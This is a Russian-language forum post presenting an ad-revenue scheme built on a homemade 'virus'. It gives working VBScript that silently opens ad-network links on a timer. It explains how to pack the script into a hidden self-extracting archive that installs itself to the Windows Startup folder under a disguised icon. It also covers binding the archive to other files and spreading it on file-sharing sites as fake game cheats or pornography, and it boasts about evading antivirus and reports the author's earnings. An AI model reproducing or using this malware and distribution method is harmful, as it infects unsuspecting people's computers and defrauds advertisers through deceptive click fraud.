11:57 Заработок на рекламе (делаем вирус) | |
Приветсвую всех на данной схеме заработка. Тема вроде как избита, но нигде не встречал (я именно искал) подобных мануалов. Мы будем делать простейший и беспалевный вирус по открытию реклам. Скажу сразу, инструкцию по сборке виря взял с другого форума и доработал, т.к. пытался сделать сам, но были нюансы. плюсы данной схемы: +вирь не палится антивирусами +не палится в диспетчере задач +стабильный заработок +легко собирается +можно отслеживать переходы по рекламе Перейдем к делу. 1. Регистрируемся на сайте с рекламой: mycpm.ru 2. Переходим во вкладку "источник" и кликаем добавить сайт. Вписываем Название(любое), ссылку на любой сайт и выбираем категорию. 3. Далее во вкладке "источник" кликаем на наш добавленный сайт, кликаем добавить поток. Вписываем юбое название (советую нумеровать чтобы не запутаться), выбираем наш недавно добавленный сайт, код тип - DirectLink, кол-во переходов с одного IP ставим макс. (10) 4. Повторяем пункт 3 примерно 5+раз (смотря промежуток времени через который будет открываться наша реклама) 5. Создаем текстовый документ и вставляем туда этот код: Option Explicit Dim objWshShell WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№1", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№2", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№3", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№4", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№5", 0, False Set objWshShell = Nothing WScript.Quit 0 где 300000 - 300 секунд (т.е. 1000 - 1 секунда) Можно воспользоваться этим калькулятором: kalkulator.pro "WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№X", 0, False" повторяем это столько сколько у вас ссылок 6. Копируем и всталяем 10 раз в середину это "WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№1", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№2", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№3", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№4", 0, False WScript.Sleep (300000) Set objWshShell = WScript.CreateObject("WScript.Shell") objWshShell.Run "ваша_ссылка№5", 0, False" 8. Сохраняем это все в формате vbs 9. Далее Кликаем ПКМ по нашему vbs и выбираем "добавить в архив" (нужен архиватор) 10. Ставите галочку "Создать Sfx-архив" Жмете "Дополнительно--->параметры SFX" Путь для распаковки %appdata%MicrosoftWindowsStart MenuProgramsStartup галку Абсолютный путь оставляете Жмете "Установка" и там где "выполнить после распаковки" пишете имя вашего уже готового файла в формате name.vbs (не советую выполнять его после распаковки т.к. палевно. Лучше со следуеще гопуска ПК. Просто не вписываем его туда) Жмете "Режимы" Ставите галку "Скрыть все". Жмем "текст и графика" и добовляем значок SFX из файла 11. Нажимаем ОК и второй раз. Вирь готов! осталось только распространить склеивать файлы с нашем вирем желательно вначале (просто добавляете в архив не один vbs а еще то с чем хотите склеить). Также можно воспользоваться джойнером который не палится. Размещаем где-нибудь (RGHost) и теги под видом чита и Либо прона совместно с Solid Explorer. Внимание! сколько на этом удалось заработать/ сколько скачано файлов? 358 закачек +- 168 руб. в день. смотря где и как запостить и через сколько открывается реклама трафик нагонял через файлообменники! Этим в данный момент не занимаюсь | |
|
| |
| Всего комментариев: 0 | |